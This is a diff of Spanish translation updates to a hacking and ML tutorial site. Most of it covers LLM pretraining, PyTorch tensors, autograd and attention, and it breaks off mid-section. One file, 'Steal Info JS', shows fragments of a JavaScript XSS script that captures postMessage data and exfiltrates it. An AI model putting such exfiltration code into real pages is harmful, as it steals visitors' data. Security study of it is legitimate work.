* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,8 @@
|
||||||
|
# Steal Info JS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -13,8 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
```javascript
|
```javascript
|
||||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||||
|
@ -123,13 +123,11 @@ window.onmessage = function(e){
|
||||||
exfil_info("onmessage", encode(e.data))
|
exfil_info("onmessage", encode(e.data))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## Preentrenamiento
|
## Preentrenamiento
|
||||||
|
|
||||||
El preentrenamiento es la fase fundamental en el desarrollo de un modelo de lenguaje grande (LLM) donde el modelo se expone a grandes y diversas cantidades de datos textuales. Durante esta etapa, **el LLM aprende las estructuras, patrones y matices fundamentales del lenguaje**, incluyendo gramática, vocabulario, sintaxis y relaciones contextuales. Al procesar estos datos extensos, el modelo adquiere una comprensión amplia del lenguaje y del conocimiento general del mundo. Esta base integral permite al LLM generar texto coherente y contextualmente relevante. Posteriormente, este modelo preentrenado puede someterse a un ajuste fino, donde se entrena aún más en conjuntos de datos especializados para adaptar sus capacidades a tareas o dominios específicos, mejorando su rendimiento y relevancia en aplicaciones específicas.
|
El preentrenamiento es la fase fundamental en el desarrollo de un modelo de lenguaje grande (LLM) donde el modelo se expone a grandes y diversas cantidades de datos textuales. Durante esta etapa, **el LLM aprende las estructuras, patrones y matices fundamentales del lenguaje**, incluyendo gramática, vocabulario, sintaxis y relaciones contextuales. Al procesar estos datos extensos, el modelo adquiere una comprensión amplia del lenguaje y del conocimiento general del mundo. Esta base integral permite al LLM generar texto coherente y contextualmente relevante. Posteriormente, este modelo preentrenado puede someterse a un ajuste fino, donde se entrena aún más en conjuntos de datos especializados para adaptar sus capacidades a tareas o dominios específicos, mejorando su rendimiento y relevancia en aplicaciones dirigidas.
|
||||||
|
|
||||||
## Componentes principales de LLM
|
## Componentes principales de LLM
|
||||||
|
|
||||||
|
@ -13,7 +13,7 @@ Usualmente, un LLM se caracteriza por la configuración utilizada para entrenarl
|
||||||
* **Dimensión de incrustación**: El tamaño del vector utilizado para representar cada token o palabra. Los LLM suelen usar miles de millones de dimensiones.
|
* **Dimensión de incrustación**: El tamaño del vector utilizado para representar cada token o palabra. Los LLM suelen usar miles de millones de dimensiones.
|
||||||
* **Dimensión oculta**: El tamaño de las capas ocultas en la red neuronal.
|
* **Dimensión oculta**: El tamaño de las capas ocultas en la red neuronal.
|
||||||
* **Número de capas (profundidad)**: Cuántas capas tiene el modelo. Los LLM suelen usar decenas de capas.
|
* **Número de capas (profundidad)**: Cuántas capas tiene el modelo. Los LLM suelen usar decenas de capas.
|
||||||
* **Número de cabezales de atención**: En los modelos de transformadores, esta es la cantidad de mecanismos de atención separados que se utilizan en cada capa. Los LLM suelen usar decenas de cabezales.
|
* **Número de cabezales de atención**: En los modelos de transformador, esta es la cantidad de mecanismos de atención separados que se utilizan en cada capa. Los LLM suelen usar decenas de cabezales.
|
||||||
* **Dropout**: El dropout es algo así como el porcentaje de datos que se eliminan (las probabilidades se convierten en 0) durante el entrenamiento utilizado para **prevenir el sobreajuste.** Los LLM suelen usar entre 0-20%.
|
* **Dropout**: El dropout es algo así como el porcentaje de datos que se eliminan (las probabilidades se convierten en 0) durante el entrenamiento utilizado para **prevenir el sobreajuste.** Los LLM suelen usar entre 0-20%.
|
||||||
|
|
||||||
Configuración del modelo GPT-2:
|
Configuración del modelo GPT-2:
|
||||||
|
@ -30,25 +30,25 @@ GPT_CONFIG_124M = {
|
||||||
```
|
```
|
||||||
## Tensors en PyTorch
|
## Tensors en PyTorch
|
||||||
|
|
||||||
En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un array multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
|
En PyTorch, un **tensor** es una estructura de datos fundamental que sirve como un arreglo multidimensional, generalizando conceptos como escalares, vectores y matrices a dimensiones potencialmente más altas. Los tensores son la forma principal en que los datos se representan y manipulan en PyTorch, especialmente en el contexto del aprendizaje profundo y las redes neuronales.
|
||||||
|
|
||||||
### Concepto Matemático de Tensores
|
### Concepto Matemático de Tensores
|
||||||
|
|
||||||
* **Escalares**: Tensores de rango 0, que representan un solo número (cero-dimensional). Como: 5
|
* **Escalares**: Tensores de rango 0, que representan un solo número (cero-dimensional). Como: 5
|
||||||
* **Vectores**: Tensores de rango 1, que representan un array unidimensional de números. Como: \[5,1]
|
* **Vectores**: Tensores de rango 1, que representan un arreglo unidimensional de números. Como: \[5,1]
|
||||||
* **Matrices**: Tensores de rango 2, que representan arrays bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
|
* **Matrices**: Tensores de rango 2, que representan arreglos bidimensionales con filas y columnas. Como: \[\[1,3], \[5,2]]
|
||||||
* **Tensores de Rango Superior**: Tensores de rango 3 o más, que representan datos en dimensiones superiores (por ejemplo, tensores 3D para imágenes en color).
|
* **Tensores de Rango Superior**: Tensores de rango 3 o más, que representan datos en dimensiones superiores (por ejemplo, tensores 3D para imágenes en color).
|
||||||
|
|
||||||
### Tensores como Contenedores de Datos
|
### Tensores como Contenedores de Datos
|
||||||
|
|
||||||
Desde una perspectiva computacional, los tensores actúan como contenedores para datos multidimensionales, donde cada dimensión puede representar diferentes características o aspectos de los datos. Esto hace que los tensores sean altamente adecuados para manejar conjuntos de datos complejos en tareas de aprendizaje automático.
|
Desde una perspectiva computacional, los tensores actúan como contenedores para datos multidimensionales, donde cada dimensión puede representar diferentes características o aspectos de los datos. Esto hace que los tensores sean altamente adecuados para manejar conjuntos de datos complejos en tareas de aprendizaje automático.
|
||||||
|
|
||||||
### Tensores de PyTorch vs. Arrays de NumPy
|
### Tensores de PyTorch vs. Arreglos de NumPy
|
||||||
|
|
||||||
Mientras que los tensores de PyTorch son similares a los arrays de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
|
Si bien los tensores de PyTorch son similares a los arreglos de NumPy en su capacidad para almacenar y manipular datos numéricos, ofrecen funcionalidades adicionales cruciales para el aprendizaje profundo:
|
||||||
|
|
||||||
* **Diferenciación Automática**: Los tensores de PyTorch soportan el cálculo automático de gradientes (autograd), lo que simplifica el proceso de calcular derivadas requeridas para entrenar redes neuronales.
|
* **Diferenciación Automática**: Los tensores de PyTorch soportan el cálculo automático de gradientes (autograd), lo que simplifica el proceso de calcular derivadas requeridas para entrenar redes neuronales.
|
||||||
* **Aceleración por GPU**: Los tensores en PyTorch pueden ser movidos y computados en GPUs, acelerando significativamente los cálculos a gran escala.
|
* **Aceleración por GPU**: Los tensores en PyTorch pueden ser trasladados y computados en GPUs, acelerando significativamente los cálculos a gran escala.
|
||||||
|
|
||||||
### Creando Tensores en PyTorch
|
### Creando Tensores en PyTorch
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ En el corazón de la diferenciación automática está la **regla de la cadena**
|
||||||
|
|
||||||
Matemáticamente, si `y=f(u)` y `u=g(x)`, entonces la derivada de `y` con respecto a `x` es:
|
Matemáticamente, si `y=f(u)` y `u=g(x)`, entonces la derivada de `y` con respecto a `x` es:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**2. Grafo Computacional**
|
**2. Grafo Computacional**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ En AD, los cálculos se representan como nodos en un **grafo computacional**, do
|
||||||
|
|
||||||
Consideremos una función simple:
|
Consideremos una función simple:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Donde:
|
Donde:
|
||||||
|
|
||||||
|
@ -154,11 +154,11 @@ Queremos calcular el gradiente de la pérdida `L` con respecto al peso `w` y al
|
||||||
|
|
||||||
**4. Cálculo de Gradientes Manualmente**
|
**4. Cálculo de Gradientes Manualmente**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**5. Cálculo Numérico**
|
**5. Cálculo Numérico**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Implementando la Diferenciación Automática en PyTorch
|
### Implementando la Diferenciación Automática en PyTorch
|
||||||
|
|
||||||
|
@ -194,7 +194,7 @@ Gradient w.r.t b: tensor([-0.0817])
|
||||||
```
|
```
|
||||||
## Retropropagación en Redes Neuronales Más Grandes
|
## Retropropagación en Redes Neuronales Más Grandes
|
||||||
|
|
||||||
### **1. Ampliación a Redes Multicapa**
|
### **1. Extensión a Redes Multicapa**
|
||||||
|
|
||||||
En redes neuronales más grandes con múltiples capas, el proceso de cálculo de gradientes se vuelve más complejo debido al aumento en el número de parámetros y operaciones. Sin embargo, los principios fundamentales permanecen iguales:
|
En redes neuronales más grandes con múltiples capas, el proceso de cálculo de gradientes se vuelve más complejo debido al aumento en el número de parámetros y operaciones. Sin embargo, los principios fundamentales permanecen iguales:
|
||||||
|
|
||||||
|
@ -214,11 +214,11 @@ En redes neuronales más grandes con múltiples capas, el proceso de cálculo de
|
||||||
|
|
||||||
Considera una red neuronal simple con una capa oculta:
|
Considera una red neuronal simple con una capa oculta:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### **4. Implementación en PyTorch**
|
### **4. Implementación en PyTorch**
|
||||||
|
|
||||||
PyTorch simplifica este proceso con su motor de autograd.
|
PyTorch simplifica este proceso con su motor autograd.
|
||||||
```python
|
```python
|
||||||
import torch
|
import torch
|
||||||
import torch.nn as nn
|
import torch.nn as nn
|
||||||
|
@ -267,7 +267,7 @@ En este código:
|
||||||
* **Backward Pass:** `loss.backward()` calcula los gradientes de la pérdida con respecto a todos los parámetros.
|
* **Backward Pass:** `loss.backward()` calcula los gradientes de la pérdida con respecto a todos los parámetros.
|
||||||
* **Parameter Update:** `optimizer.step()` actualiza los parámetros en función de los gradientes calculados.
|
* **Parameter Update:** `optimizer.step()` actualiza los parámetros en función de los gradientes calculados.
|
||||||
|
|
||||||
### **5. Understanding Backward Pass**
|
### **5. Comprendiendo el Backward Pass**
|
||||||
|
|
||||||
Durante el backward pass:
|
Durante el backward pass:
|
||||||
|
|
||||||
|
@ -275,8 +275,8 @@ Durante el backward pass:
|
||||||
* Para cada operación, aplica la regla de la cadena para calcular los gradientes.
|
* Para cada operación, aplica la regla de la cadena para calcular los gradientes.
|
||||||
* Los gradientes se acumulan en el atributo `.grad` de cada tensor de parámetro.
|
* Los gradientes se acumulan en el atributo `.grad` de cada tensor de parámetro.
|
||||||
|
|
||||||
### **6. Advantages of Automatic Differentiation**
|
### **6. Ventajas de la Diferenciación Automática**
|
||||||
|
|
||||||
* **Efficiency:** Evita cálculos redundantes al reutilizar resultados intermedios.
|
* **Eficiencia:** Evita cálculos redundantes al reutilizar resultados intermedios.
|
||||||
* **Accuracy:** Proporciona derivadas exactas hasta la precisión de la máquina.
|
* **Precisión:** Proporciona derivadas exactas hasta la precisión de la máquina.
|
||||||
* **Ease of Use:** Elimina el cálculo manual de derivadas.
|
* **Facilidad de Uso:** Elimina el cálculo manual de derivadas.
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## Mecanismos de Atención y Autoatención en Redes Neuronales
|
## Mecanismos de Atención y Autoatención en Redes Neuronales
|
||||||
|
|
||||||
Los mecanismos de atención permiten que las redes neuronales se **enfoquen en partes específicas de la entrada al generar cada parte de la salida**. Asignan diferentes pesos a diferentes entradas, ayudando al modelo a decidir cuáles entradas son más relevantes para la tarea en cuestión. Esto es crucial en tareas como la traducción automática, donde entender el contexto de toda la oración es necesario para una traducción precisa.
|
Los mecanismos de atención permiten que las redes neuronales **se centren en partes específicas de la entrada al generar cada parte de la salida**. Asignan diferentes pesos a diferentes entradas, ayudando al modelo a decidir cuáles entradas son más relevantes para la tarea en cuestión. Esto es crucial en tareas como la traducción automática, donde entender el contexto de toda la oración es necesario para una traducción precisa.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
El objetivo de esta cuarta fase es muy simple: **Aplicar algunos mecanismos de atención**. Estos van a ser muchas **capas repetidas** que van a **capturar la relación de una palabra en el vocabulario con sus vecinos en la oración actual que se está utilizando para entrenar el LLM**.\
|
El objetivo de esta cuarta fase es muy simple: **Aplicar algunos mecanismos de atención**. Estos van a ser muchas **capas repetidas** que van a **capturar la relación de una palabra en el vocabulario con sus vecinos en la oración actual que se está utilizando para entrenar el LLM**.\
|
||||||
|
@ -15,7 +15,7 @@ En los modelos tradicionales de secuencia a secuencia utilizados para la traducc
|
||||||
|
|
||||||
#### Ejemplo: Traducción Automática
|
#### Ejemplo: Traducción Automática
|
||||||
|
|
||||||
Considera traducir la oración en alemán "Kannst du mir helfen diesen Satz zu übersetzen" al inglés. Una traducción palabra por palabra no produciría una oración en inglés gramaticalmente correcta debido a las diferencias en las estructuras gramaticales entre los idiomas. Un mecanismo de atención permite que el modelo se enfoque en partes relevantes de la oración de entrada al generar cada palabra de la oración de salida, lo que lleva a una traducción más precisa y coherente.
|
Considera traducir la oración alemana "Kannst du mir helfen diesen Satz zu übersetzen" al inglés. Una traducción palabra por palabra no produciría una oración en inglés gramaticalmente correcta debido a las diferencias en las estructuras gramaticales entre los idiomas. Un mecanismo de atención permite que el modelo se concentre en partes relevantes de la oración de entrada al generar cada palabra de la oración de salida, lo que lleva a una traducción más precisa y coherente.
|
||||||
|
|
||||||
### Introducción a la Autoatención
|
### Introducción a la Autoatención
|
||||||
|
|
||||||
|
@ -47,15 +47,15 @@ Para cada palabra en la oración, calcula la **puntuación de atención** con re
|
||||||
|
|
||||||
**Puntuación de Atención entre "Hello" y "shiny"**
|
**Puntuación de Atención entre "Hello" y "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Puntuación de Atención entre "shiny" y "shiny"**
|
**Puntuación de Atención entre "shiny" y "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Puntuación de Atención entre "sun" y "shiny"**
|
**Puntuación de Atención entre "sun" y "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Paso 2: Normalizar las Puntuaciones de Atención para Obtener Pesos de Atención
|
#### Paso 2: Normalizar las Puntuaciones de Atención para Obtener Pesos de Atención
|
||||||
|
|
||||||
|
@ -67,19 +67,19 @@ Además, se utiliza la función **softmax** porque acentúa las diferencias debi
|
||||||
|
|
||||||
Aplica la **función softmax** a las puntuaciones de atención para convertirlas en pesos de atención que sumen 1.
|
Aplica la **función softmax** a las puntuaciones de atención para convertirlas en pesos de atención que sumen 1.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Calculando los exponentes:
|
Calculando los exponentes:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Calculando la suma:
|
Calculando la suma:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Calculando los pesos de atención:
|
Calculando los pesos de atención:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Paso 3: Calcular el Vector de Contexto
|
#### Paso 3: Calcular el Vector de Contexto
|
||||||
|
|
||||||
|
@ -95,13 +95,13 @@ Calculando cada componente:
|
||||||
|
|
||||||
* **Embedding Ponderado de "Hello"**:
|
* **Embedding Ponderado de "Hello"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Embedding Ponderado de "shiny"**:
|
* **Embedding Ponderado de "shiny"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Embedding Ponderado de "sun"**:
|
* **Embedding Ponderado de "sun"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Sumando los embeddings ponderados:
|
Sumando los embeddings ponderados:
|
||||||
|
|
||||||
|
@ -119,7 +119,7 @@ Sumando los embeddings ponderados:
|
||||||
|
|
||||||
En la práctica, los mecanismos de autoatención utilizan **pesos entrenables** para aprender las mejores representaciones para consultas, claves y valores. Esto implica introducir tres matrices de peso:
|
En la práctica, los mecanismos de autoatención utilizan **pesos entrenables** para aprender las mejores representaciones para consultas, claves y valores. Esto implica introducir tres matrices de peso:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
La consulta es el dato a utilizar como antes, mientras que las matrices de claves y valores son solo matrices aleatorias entrenables.
|
La consulta es el dato a utilizar como antes, mientras que las matrices de claves y valores son solo matrices aleatorias entrenables.
|
||||||
|
|
||||||
|
@ -133,7 +133,7 @@ Estas matrices transforman los embeddings originales en un nuevo espacio adecuad
|
||||||
|
|
||||||
**Ejemplo**
|
**Ejemplo**
|
||||||
|
|
||||||
Suponiendo:
|
Asumiendo:
|
||||||
|
|
||||||
* Dimensión de entrada `din=3` (tamaño del embedding)
|
* Dimensión de entrada `din=3` (tamaño del embedding)
|
||||||
* Dimensión de salida `dout=2` (dimensión deseada para consultas, claves y valores)
|
* Dimensión de salida `dout=2` (dimensión deseada para consultas, claves y valores)
|
||||||
|
@ -170,7 +170,7 @@ Para evitar que los productos punto se vuelvan demasiado grandes, escálalos por
|
||||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
La puntuación se divide por la raíz cuadrada de las dimensiones porque los productos punto pueden volverse muy grandes y esto ayuda a regularlos.
|
La puntuación se divide por la raíz cuadrada de las dimensiones porque los productos punto podrían volverse muy grandes y esto ayuda a regularlos.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Aplicar Softmax para Obtener Pesos de Atención:** Al igual que en el ejemplo inicial, normaliza todos los valores para que sumen 1. 
|
**Aplicar Softmax para Obtener Pesos de Atención:** Al igual que en el ejemplo inicial, normaliza todos los valores para que sumen 1. 
|
||||||
|
@ -230,11 +230,11 @@ Tenga en cuenta que en lugar de inicializar las matrices con valores aleatorios,
|
||||||
|
|
||||||
## Atención Causal: Ocultando Palabras Futuras
|
## Atención Causal: Ocultando Palabras Futuras
|
||||||
|
|
||||||
Para los LLMs, queremos que el modelo considere solo los tokens que aparecen antes de la posición actual para **predecir el siguiente token**. La **atención causal**, también conocida como **atención enmascarada**, logra esto modificando el mecanismo de atención para evitar el acceso a tokens futuros.
|
Para los LLMs queremos que el modelo considere solo los tokens que aparecen antes de la posición actual para **predecir el siguiente token**. La **atención causal**, también conocida como **atención enmascarada**, logra esto modificando el mecanismo de atención para prevenir el acceso a tokens futuros.
|
||||||
|
|
||||||
### Aplicando una Máscara de Atención Causal
|
### Aplicando una Máscara de Atención Causal
|
||||||
|
|
||||||
Para implementar la atención causal, aplicamos una máscara a las puntuaciones de atención **antes de la operación softmax** para que las que quedan sigan sumando 1. Esta máscara establece las puntuaciones de atención de los tokens futuros en negativo infinito, asegurando que después del softmax, sus pesos de atención sean cero.
|
Para implementar la atención causal, aplicamos una máscara a las puntuaciones de atención **antes de la operación softmax** para que las que quedan aún sumen 1. Esta máscara establece las puntuaciones de atención de los tokens futuros en negativo infinito, asegurando que después del softmax, sus pesos de atención sean cero.
|
||||||
|
|
||||||
**Pasos**
|
**Pasos**
|
||||||
|
|
||||||
|
@ -258,7 +258,7 @@ Para **prevenir el sobreajuste**, podemos aplicar **dropout** a los pesos de ate
|
||||||
dropout = nn.Dropout(p=0.5)
|
dropout = nn.Dropout(p=0.5)
|
||||||
attention_weights = dropout(attention_weights)
|
attention_weights = dropout(attention_weights)
|
||||||
```
|
```
|
||||||
Un dropout regular es de aproximadamente 10-20%.
|
Un abandono regular es de aproximadamente 10-20%.
|
||||||
|
|
||||||
### Code Example
|
### Code Example
|
||||||
|
|
||||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
### Ejemplo de Código
|
### Ejemplo de Código
|
||||||
|
|
||||||
Podría ser posible reutilizar el código anterior y simplemente agregar un envoltorio que lo ejecute varias veces, pero esta es una versión más optimizada de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) que procesa todas las cabezas al mismo tiempo (reduciendo el número de bucles for costosos). Como puedes ver en el código, las dimensiones de cada token se dividen en diferentes dimensiones de acuerdo con el número de cabezas. De esta manera, si el token tiene 8 dimensiones y queremos usar 3 cabezas, las dimensiones se dividirán en 2 arreglos de 4 dimensiones y cada cabeza usará uno de ellos:
|
Podría ser posible reutilizar el código anterior y simplemente agregar un envoltorio que lo ejecute varias veces, pero esta es una versión más optimizada de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) que procesa todas las cabezas al mismo tiempo (reduciendo el número de bucles for costosos). Como puedes ver en el código, las dimensiones de cada token se dividen en diferentes dimensiones de acuerdo con el número de cabezas. De esta manera, si un token tiene 8 dimensiones y queremos usar 3 cabezas, las dimensiones se dividirán en 2 arreglos de 4 dimensiones y cada cabeza usará uno de ellos:
|
||||||
```python
|
```python
|
||||||
class MultiHeadAttention(nn.Module):
|
class MultiHeadAttention(nn.Module):
|
||||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||||
|
@ -407,12 +407,12 @@ print(context_vecs)
|
||||||
print("context_vecs.shape:", context_vecs.shape)
|
print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
```
|
```
|
||||||
Para otra implementación compacta y eficiente, podrías usar la clase [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) en PyTorch.
|
Para una implementación compacta y eficiente, podrías usar la clase [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) en PyTorch.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Respuesta corta de ChatGPT sobre por qué es mejor dividir las dimensiones de los tokens entre las cabezas en lugar de que cada cabeza verifique todas las dimensiones de todos los tokens:
|
Respuesta corta de ChatGPT sobre por qué es mejor dividir las dimensiones de los tokens entre las cabezas en lugar de que cada cabeza verifique todas las dimensiones de todos los tokens:
|
||||||
|
|
||||||
